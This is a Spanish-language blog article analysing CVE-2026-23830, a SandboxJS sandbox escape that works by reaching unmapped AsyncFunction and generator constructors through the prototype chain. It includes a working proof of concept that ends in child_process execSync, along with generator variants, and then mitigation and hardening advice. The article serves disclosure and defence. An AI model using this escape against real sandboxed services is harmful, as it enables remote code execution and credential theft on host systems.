Ciberseguridad

CVE-2026-23830: Escape del Sandbox en SandboxJS vía AsyncFunction

Team Nippysoft
21 min de lectura
CVE-2026-23830: Escape del Sandbox en SandboxJS vía AsyncFunction

Ejecutar código JavaScript no confiable es una de las operaciones más peligrosas que una aplicación del lado del servidor puede realizar. Librerías como SandboxJS prometen un entorno de ejecución controlado donde el código arbitrario se ejecuta sin acceder al sistema anfitrión. CVE-2026-23830 destruye esa promesa: una falla crítica en las versiones de SandboxJS anteriores a la 0.8.26 permite a los atacantes escapar completamente del sandbox a través del constructor AsyncFunction, logrando ejecución remota de código (RCE) completa en el host.

La causa raíz es engañosamente simple: un mapeo incompleto de los constructores de funciones de JavaScript. Mientras la librería reemplazó correctamente el constructor global Function con una versión segura dentro del sandbox, no incluyó AsyncFunction, GeneratorFunction ni AsyncGeneratorFunction. Estos constructores no están expuestos globalmente pero son accesibles a través de la cadena de prototipos. En este artículo analizamos en profundidad la mecánica técnica de CVE-2026-23830, recorremos escenarios de explotación realistas, evaluamos su impacto en arquitecturas productivas y detallamos pasos concretos de remediación que van más allá de simplemente actualizar la librería.

Comprendiendo los Constructores de Funciones en JavaScript

Antes de analizar la vulnerabilidad, es fundamental entender cómo JavaScript expone múltiples constructores de funciones y por qué proteger todos ellos es esencial para lograr un aislamiento de seguridad efectivo.

El Constructor Global Function

Todo entorno JavaScript expone Function como un constructor global. Invocar new Function('return this')() crea una función que se ejecuta en el ámbito global, proporcionando acceso sin restricciones a todo el entorno de ejecución. Por esta razón, cualquier solución de sandboxing debe interceptar y reemplazar el constructor Function. Si el código no confiable puede invocarlo directamente, el sandbox carece de valor.

SandboxJS resuelve esto correctamente creando un SandboxFunction que envuelve la ejecución del código dentro del contexto restringido. Cuando el código dentro del sandbox intenta ejecutar new Function(...), en realidad invoca SandboxFunction, que impone la frontera de seguridad. Este enfoque es habitual entre librerías de sandboxing en JavaScript y funciona bien, siempre que se contemple cada variante de constructor de funciones.

Constructores Ocultos en la Cadena de Prototipos

JavaScript tiene cuatro tipos distintos de constructores de funciones, pero solo Function es una propiedad global. Los tres restantes no son accesibles a través del objeto global. En cambio, solo pueden alcanzarse mediante la propiedad .constructor de sus respectivas instancias:

  • AsyncFunction: accesible mediante (async function(){}).constructor
  • GeneratorFunction: accesible mediante (function*(){}).constructor
  • AsyncGeneratorFunction: accesible mediante (async function*(){}).constructor

Estos constructores se comportan de manera idéntica a Function en un aspecto crítico: crean funciones que se ejecutan en el ámbito global, no en el ámbito donde fueron invocadas. Esto significa que cualquiera de ellos puede utilizarse como arma para escapar de un contexto restringido si se deja sin protección. Un error común entre desarrolladores es asumir que, dado que estos constructores no son propiedades globales, no representan un riesgo. CVE-2026-23830 demuestra que esa suposición es catastróficamente errónea.

Consideremos un escenario práctico: un desarrollador revisa SandboxJS y observa que Function está mapeado a un reemplazo seguro. Inspecciona globalThis y confirma que no existe ninguna propiedad AsyncFunction. Concluye que el sandbox es seguro. Lo que no advierte es que la cadena de prototipos proporciona una puerta trasera que elude completamente las restricciones a nivel global, invalidando su revisión de seguridad.

Cómo SandboxJS Implementa el Aislamiento de Código

SandboxJS sigue un enfoque basado en proxies para el sandboxing, interceptando el acceso a propiedades y las invocaciones de funciones para aplicar las fronteras de seguridad. Comprender su arquitectura es clave para entender por qué existe la vulnerabilidad y cómo fue explotada.

El Mapa de Reemplazos Seguros en utils.ts

En el núcleo de SandboxJS hay un mapa de búsqueda definido en utils.ts. Este mapa asocia constructores nativos peligrosos con sus equivalentes seguros dentro del sandbox. Cuando el código en sandbox intenta usar un constructor mapeado, el runtime lo sustituye de forma transparente por la versión segura:

// Representación simplificada del mapa en utils.ts (pre-0.8.26)
const safeReplacements = new Map([
  [Function, SandboxFunction],
  [eval, sandboxEval],
  // AsyncFunction NO ESTABA MAPEADO
  // GeneratorFunction NO ESTABA MAPEADO
  // AsyncGeneratorFunction NO ESTABA MAPEADO
]);

Este mapa es la fuente única de verdad para el reemplazo de constructores. Cualquier constructor que no esté presente en este mapa pasa directamente al entorno del host sin modificación alguna. Antes de la versión 0.8.26, solo Function y eval estaban mapeados, dejando tres constructores críticos completamente desprotegidos.

Este es un ejemplo clásico de una lista de permitidos que no logra ser exhaustiva. El modelo de seguridad funciona perfectamente para todo lo que cubre, pero las brechas en la cobertura crean puntos ciegos que los atacantes pueden explotar con esfuerzo mínimo.

Intercepción de Acceso a Propiedades en executor.ts

El módulo executor.ts gestiona todo el acceso a propiedades dentro del código en sandbox. Cuando el código accede a una propiedad (por ejemplo, obj.constructor), el executor intercepta la operación, obtiene el valor de la propiedad y lo compara contra el mapa de reemplazos seguros. Si encuentra una coincidencia, devuelve la versión segura. Si no existe coincidencia, el valor original pasa sin cambios.

Este diseño crea un vector de ataque directo: cualquier constructor ausente del mapa se devuelve directamente al código en sandbox. El executor aplica fielmente su política de seguridad, pero la política en sí estaba incompleta. Esto conlleva una lección arquitectónica importante: la seguridad basada en listas de permitidos solo funciona cuando la lista es exhaustiva. Omitir una sola entrada puede comprometer todo el sistema.

En un escenario productivo real, imaginemos una plataforma SaaS que permite a sus clientes escribir scripts de transformación de datos personalizados. La plataforma utiliza SandboxJS para evitar que esos scripts accedan al servidor subyacente. Con esta vulnerabilidad, un solo script malicioso podría tomar control total del proceso del servidor, acceder a variables de entorno con credenciales de base de datos, leer el sistema de archivos y pivotar hacia servicios internos. Toda la frontera de confianza colapsa por una entrada faltante en el mapa.

CVE-2026-23830: Disección del Bypass vía AsyncFunction

Con la arquitectura comprendida, la ruta de explotación se vuelve evidente. El atacante necesita obtener una referencia a un constructor no mapeado y usarlo para crear una función que se ejecute fuera de la frontera del sandbox.

La Cadena de Explotación Paso a Paso

El ataque sigue una secuencia precisa de operaciones que explota la brecha en el mapa de reemplazos seguros:

  1. Crear una función async dentro del sandbox: const af = async () => {}
  2. Acceder a su constructor: const AsyncFunc = af.constructor
  3. El executor intercepta el acceso a .constructor, consulta el mapa, no encuentra entrada para AsyncFunction y devuelve el constructor nativo del host
  4. Usar el constructor nativo para crear una nueva función: const exploit = new AsyncFunc('return process')
  5. Ejecutar la función: const proc = await exploit()
  6. La nueva función se ejecuta en el ámbito global del host, devolviendo el objeto process real
  7. Desde aquí, el atacante logra RCE completo: proc.mainModule.require('child_process').execSync('...')

Toda la cadena no requiere privilegios especiales, configuración compleja ni dependencias externas. El propio sandbox proporciona el mecanismo de escape a través de un simple patrón de acceso a propiedades.

Prueba de Concepto

El siguiente código demuestra cómo un atacante podría explotar CVE-2026-23830 para ejecutar comandos arbitrarios del sistema desde dentro del sandbox:

// Código ejecutándose DENTRO del sandbox de SandboxJS
const AsyncFunction = (async () => {}).constructor;

// Esto crea una función que se ejecuta en el ámbito del HOST
const escape = new AsyncFunction(`
  const process = await (async () => {}).constructor(
    'return this.process'
  )();
  return process.mainModule.require('child_process')
    .execSync('whoami')
    .toString();
`);

// Ejecutar y obtener el resultado del host
const result = await escape();
console.log(result); // Imprime el usuario del servidor

Nótese la elegancia del ataque: requiere apenas tres líneas de código significativo. El sandbox permite crear funciones async (funcionalidad legítima), y el acceso a .constructor parece una lectura inocente de propiedad. Esto es precisamente lo que hace tan peligrosos los ataques a la cadena de prototipos en JavaScript: las capacidades reflexivas del lenguaje trabajan en contra de la contención.

CVE-2026-23830 Flujo de Escape del Sandbox CONTEXTO SANDBOX ENTORNO HOST PASO 1 - Crear funcion async const af = async () => {} PASO 2 - Acceder a .constructor const AF = af.constructor PASO 3 - Busqueda en mapa executor.ts safeMap.get(AsyncFunction) undefined - NO MAPEADO PASO 4 - CONSTRUCTOR NATIVO FILTRADO Retorna: AsyncFunction (ambito host, sin sandbox) PASO 5 - EJECUCION DE CODIGO new AF('return process')() SANDBOX EVADIDO - RCE

Por Qué GeneratorFunction y AsyncGeneratorFunction También se Ven Afectados

Aunque el CVE destaca específicamente AsyncFunction, la misma vulnerabilidad aplica a GeneratorFunction y AsyncGeneratorFunction. Ambos constructores estaban ausentes del mapa de reemplazos y podían accederse mediante el mismo patrón .constructor:

// Escape vía GeneratorFunction
const GenFunc = (function*(){}).constructor;
const gen = new GenFunc('yield process')();

// Escape vía AsyncGeneratorFunction
const AsyncGenFunc = (async function*(){}).constructor;
const agen = new AsyncGenFunc('yield process')();

El parche en la versión 0.8.26 aborda los tres constructores simultáneamente, añadiendo mapeos completos para AsyncFunction, GeneratorFunction y AsyncGeneratorFunction en el mapa de reemplazos seguros. Esto elimina toda la clase de vulnerabilidades por filtración de constructores en una sola actualización.

Impacto Real: Arquitecturas en Riesgo

La gravedad de CVE-2026-23830 va mucho más allá de la explotación teórica. Múltiples patrones de arquitectura en producción dependen del sandboxing de JavaScript para operaciones críticas de seguridad, y esta vulnerabilidad pone a todos ellos en riesgo.

Patrones Arquitectónicos Afectados

Consideremos una plataforma multi-tenant donde cada inquilino puede definir lógica de negocio personalizada mediante scripts JavaScript. La arquitectura típica incluye:

  • API Gateway que recibe las solicitudes del inquilino con payloads de scripts personalizados
  • Servicio de Ejecución de Scripts que utiliza SandboxJS para ejecutar el código de forma segura
  • Infraestructura Compartida (bases de datos, APIs internas, secretos) que se encuentra detrás de la misma frontera de proceso

Con esta vulnerabilidad, un inquilino malicioso puede:

  1. Leer variables de entorno que contienen credenciales de base de datos y claves de API
  2. Acceder al sistema de archivos, incluyendo archivos de configuración y certificados TLS
  3. Realizar solicitudes de red a servicios internos, eludiendo la segmentación de red
  4. Comprometer los datos de otros inquilinos a través de conexiones de base de datos compartidas
  5. Instalar puertas traseras persistentes modificando el código de la aplicación en disco

El radio de impacto no se limita a un solo servicio. En arquitecturas de microservicios donde el servicio de ejecución de scripts tiene acceso a APIs internas o credenciales del service mesh, el compromiso puede propagarse en cascada por toda la infraestructura. Esto convierte a CVE-2026-23830 no solo en un escape de sandbox sino en un potencial punto de entrada para movimiento lateral.

Consideraciones de Rendimiento y Escalabilidad para un Sandboxing Seguro

Asegurar correctamente la ejecución de JavaScript implica compromisos que impactan directamente el rendimiento y la escalabilidad. La siguiente tabla compara los enfoques más comunes y sus características:

EnfoqueNivel de AislamientoOverhead de RendimientoComplejidad
SandboxJS (pre-fix)Débil (evitable)BajoBaja
SandboxJS (0.8.26+)ModeradoBajoBaja
V8 Isolates (isolated-vm)FuerteMedioMedia
Proceso SeparadoMuy FuerteAltoMedia
WebAssembly SandboxFuerteMedioAlta
Aislamiento por ContenedorMuy FuerteAltoAlta

El aislamiento a nivel de proceso (crear un proceso Node.js separado por ejecución) proporciona fronteras fuertes pero introduce latencia y sobrecarga de memoria. Los isolates de V8 ofrecen un punto intermedio con menor overhead pero requieren configuración cuidadosa. Para sistemas productivos que manejan datos sensibles o cargas multi-tenant, depender únicamente del sandboxing a nivel de librería, incluso parcheado, es insuficiente. La defensa en profundidad requiere combinar múltiples capas de aislamiento para asegurar que un solo bypass no conduzca a un compromiso total.

Errores Comunes en el Sandboxing de JavaScript

CVE-2026-23830 expone patrones de pensamiento que frecuentemente conducen a vulnerabilidades de escape de sandbox. Estos errores no son exclusivos de SandboxJS y aplican ampliamente a cualquier estrategia de contención en JavaScript.

  • Asumir que las propiedades globales son la única superficie de amenaza: AsyncFunction no está en globalThis, pero es completamente accesible. La cadena de prototipos de JavaScript proporciona rutas alternativas a constructores peligrosos que evitan por completo las restricciones a nivel global.
  • Tratar el sandboxing como una defensa de capa única: Muchos equipos despliegan una librería de sandboxing y consideran el problema resuelto. Sin capas adicionales como aislamiento de procesos, límites de recursos y restricciones de red, un solo bypass significa compromiso total.
  • No auditar el acceso transitivo a propiedades: Cadenas de acceso como obj.constructor.constructor o obj.__proto__ pueden alcanzar objetos inesperados. Un sandboxing riguroso debe interceptar y validar cada paso en la cadena, no solo el acceso directo a globales.
  • Ignorar vectores de polución de prototipos: Si un atacante puede modificar prototipos dentro del sandbox, podría influir en cómo el sandbox resuelve las búsquedas de propiedades, redirigiendo potencialmente los reemplazos seguros hacia objetivos inseguros.
  • No seguir la evolución del lenguaje JavaScript: Nuevas sintaxis y constructores se añaden a JavaScript regularmente. Un sandbox completo para ES2020 puede tener brechas críticas para características de ES2025. La revisión continua contra la especificación ECMAScript es esencial para mantener la cobertura de seguridad.

La lección fundamental es que JavaScript nunca fue diseñado para la contención. Su naturaleza dinámica, sus capacidades de reflexión y su herencia basada en prototipos lo hacen inherentemente hostil al sandboxing. Cada sandbox es una aproximación que debe validarse continuamente contra la especificación del lenguaje en evolución y contra técnicas de ataque creativas.

Comparativa: Sandboxing a Nivel de Librería vs. Nivel de Runtime

Para poner CVE-2026-23830 en perspectiva más amplia, es útil comparar el sandboxing a nivel de librería con los enfoques a nivel de runtime. Cada uno opera en una capa diferente del stack y proporciona garantías de seguridad fundamentalmente distintas.

CaracterísticaNivel de Librería (SandboxJS)Nivel de Runtime (V8 Isolates)
Mecanismo de aislamientoIntercepción basada en proxiesHeap y contexto V8 separados
Memoria compartidaMismo proceso, mismo heapHeaps separados por isolate
Acceso a cadena de prototiposDebe bloquearse explícitamenteNaturalmente aislado
RendimientoCasi nativoLigero overhead por cambio de contexto
Riesgo de bypassMayor (brechas a nivel de lenguaje)Menor (imposición a nivel de motor)
Caso de uso adecuadoEvaluación de scripts de bajo riesgoSistemas productivos multi-tenant

El sandboxing a nivel de librería opera dentro del mismo contexto de ejecución, haciéndolo fundamentalmente más débil: debe anticipar cada posible ruta de escape dentro del lenguaje mismo. El sandboxing a nivel de runtime como los isolates de V8 crea entornos de ejecución genuinamente separados donde el código en sandbox no tiene referencias a objetos del host por defecto. Esta diferencia arquitectónica significa que los enfoques a nivel de runtime son estructuralmente inmunes a ataques de filtración de constructores como CVE-2026-23830, porque el código aislado simplemente no puede recorrer una cadena de prototipos que conduzca a un constructor del host.

Para los equipos que actualmente dependen de SandboxJS y necesitan garantías de aislamiento más fuertes, migrar a una solución a nivel de runtime representa la estrategia más robusta a largo plazo, aunque implique mayor complejidad de implementación y un overhead de rendimiento moderado.

Estrategia de Mitigación y Remediación

Si tu aplicación utiliza SandboxJS, se requiere acción inmediata. La estrategia de remediación debe abordar tanto la vulnerabilidad específica como el riesgo arquitectónico más amplio que el sandboxing a nivel de librería introduce.

Pasos Inmediatos

  1. Actualizar a SandboxJS 0.8.26 o posterior: El parche añade AsyncFunction, GeneratorFunction y AsyncGeneratorFunction al mapa de reemplazos seguros, cerrando el vector de bypass específico.
  2. Auditar el uso existente del sandbox: Revisar cada ubicación donde SandboxJS ejecuta código no confiable. Determinar si alguno de estos puntos de entrada está expuesto a usuarios externos o acepta datos proporcionados por el usuario.
  3. Verificar signos de explotación: Revisar los logs en busca de creación inesperada de procesos, acceso al sistema de archivos o conexiones de red originadas desde el contexto de ejecución del sandbox. Buscar patrones de comportamiento anómalos que puedan indicar una brecha.

Hardening Arquitectónico a Largo Plazo

Más allá del parche, considerar estas medidas de defensa en profundidad para cualquier sistema que ejecute JavaScript no confiable:

  • Combinar mecanismos de aislamiento: Complementar el sandboxing a nivel de librería con aislamiento a nivel de proceso. Ejecutar el código no confiable en un proceso Node.js separado con permisos restringidos usando child_process con un entorno mínimo.
  • Aplicar límites de recursos: Usar --max-old-space-size, límites de tiempo de CPU y timeouts de ejecución para prevenir la denegación de servicio por agotamiento de recursos dentro del sandbox.
  • Restringir el acceso a red: Desplegar los workers del sandbox en entornos aislados de red que no puedan alcanzar servicios internos. Usar reglas de firewall o redes de contenedores para imponer fronteras.
  • Implementar monitoreo: Configurar alertas para comportamiento anómalo desde los procesos del sandbox, incluyendo llamadas al sistema inusuales, patrones de acceso a archivos inesperados o conexiones de red salientes hacia endpoints internos.
  • Considerar la migración a V8 Isolates: Para cargas productivas con requisitos de seguridad fuertes, evaluar isolated-vm o librerías similares que aprovechan las capacidades de aislamiento nativas de V8 en lugar del proxying a nivel de JavaScript.

Preguntas Frecuentes

¿Qué nivel de severidad tiene CVE-2026-23830?

CVE-2026-23830 está clasificado con severidad Crítica. La vulnerabilidad permite ejecución remota de código sin autenticación desde dentro del contexto del sandbox, lo que significa que cualquier código ejecutándose dentro del sandbox puede ejecutar comandos arbitrarios en el sistema host con los privilegios del proceso Node.js. No se requieren permisos adicionales ni interacción del usuario para explotarla.

¿Se puede explotar esta vulnerabilidad sin soporte de async/await?

Sí. Aunque el vector principal utiliza AsyncFunction, la misma vulnerabilidad aplica a GeneratorFunction, accesible mediante (function*(){}).constructor, y AsyncGeneratorFunction. Los generadores no requieren sintaxis async/await, lo que significa que la superficie de ataque existe en cualquier entorno que soporte generadores (ES2015 en adelante).

¿Es suficiente actualizar a la versión 0.8.26 para proteger mi aplicación?

Actualizar cierra esta vulnerabilidad específica, pero el sandboxing a nivel de librería tiene limitaciones inherentes. Si tu aplicación procesa código no confiable en contextos críticos de seguridad, deberías implementar medidas de defensa en profundidad incluyendo aislamiento de procesos, restricciones de red y monitoreo en tiempo de ejecución. El parche es un primer paso necesario, no una solución completa.

¿Afecta esto al sandboxing de JavaScript en navegadores?

El mecanismo de escape del sandbox funciona en navegadores: obtener el constructor nativo AsyncFunction evade la frontera del sandbox independientemente del entorno. Sin embargo, el payload de RCE (process, require) es específico de Node.js. En contextos de navegador, un escape exitoso otorgaría acceso al DOM completo, cookies, localStorage y otras APIs del navegador que el sandbox pretendía restringir.

¿Cómo puedo verificar si mi versión de SandboxJS es vulnerable?

Verifica tu versión instalada con npm list sandboxjs. Cualquier versión inferior a 0.8.26 está afectada. También puedes probar directamente ejecutando (async () => {}).constructor dentro del sandbox y comprobando si el constructor retornado es el AsyncFunction nativo o un reemplazo seguro del sandbox.

Conclusión

CVE-2026-23830 es un recordatorio contundente de que la naturaleza dinámica de JavaScript hace que la contención sea extremadamente difícil. Una sola entrada faltante en un mapa de búsqueda, tres constructores omitidos, fue suficiente para anular por completo un sandbox. La vulnerabilidad evidencia la tensión fundamental entre las capacidades reflexivas de JavaScript y el deseo de restringir la ejecución de código.

Para los equipos que dependen del sandboxing de JavaScript en producción, este CVE debería impulsar una revisión arquitectónica más amplia. Parchear la librería es la acción inmediata, pero la pregunta de fondo es si la intercepción a nivel de librería proporciona un aislamiento adecuado para tu modelo de amenazas. En la mayoría de los casos, combinar múltiples capas de aislamiento es el único enfoque que proporciona seguridad genuina.

Revisa tus dependencias, audita las fronteras de tu sandbox y adopta el principio de que ninguna capa única de defensa debería ser lo único que se interponga entre código no confiable y tu infraestructura. Comienza actualizando SandboxJS a la versión 0.8.26 y luego evalúa si tu arquitectura necesita mecanismos de aislamiento más fuertes para ajustarse a tu perfil de riesgo real.

Suscríbete

Recibe los últimos artículos directamente en tu bandeja de entrada.

Este sitio está protegido por reCAPTCHA. Aplican la Política de Privacidad y los Términos de Servicio de Google.

Comentarios

Aún no hay comentarios. ¡Sé el primero en compartir tu opinión!

¡Suscrito!

¡Registrado! Hemos enviado un enlace de confirmación a tu correo electrónico. Si no lo ves, revisa tu carpeta de spam.

Error

Ocurrió un error. Por favor intenta de nuevo.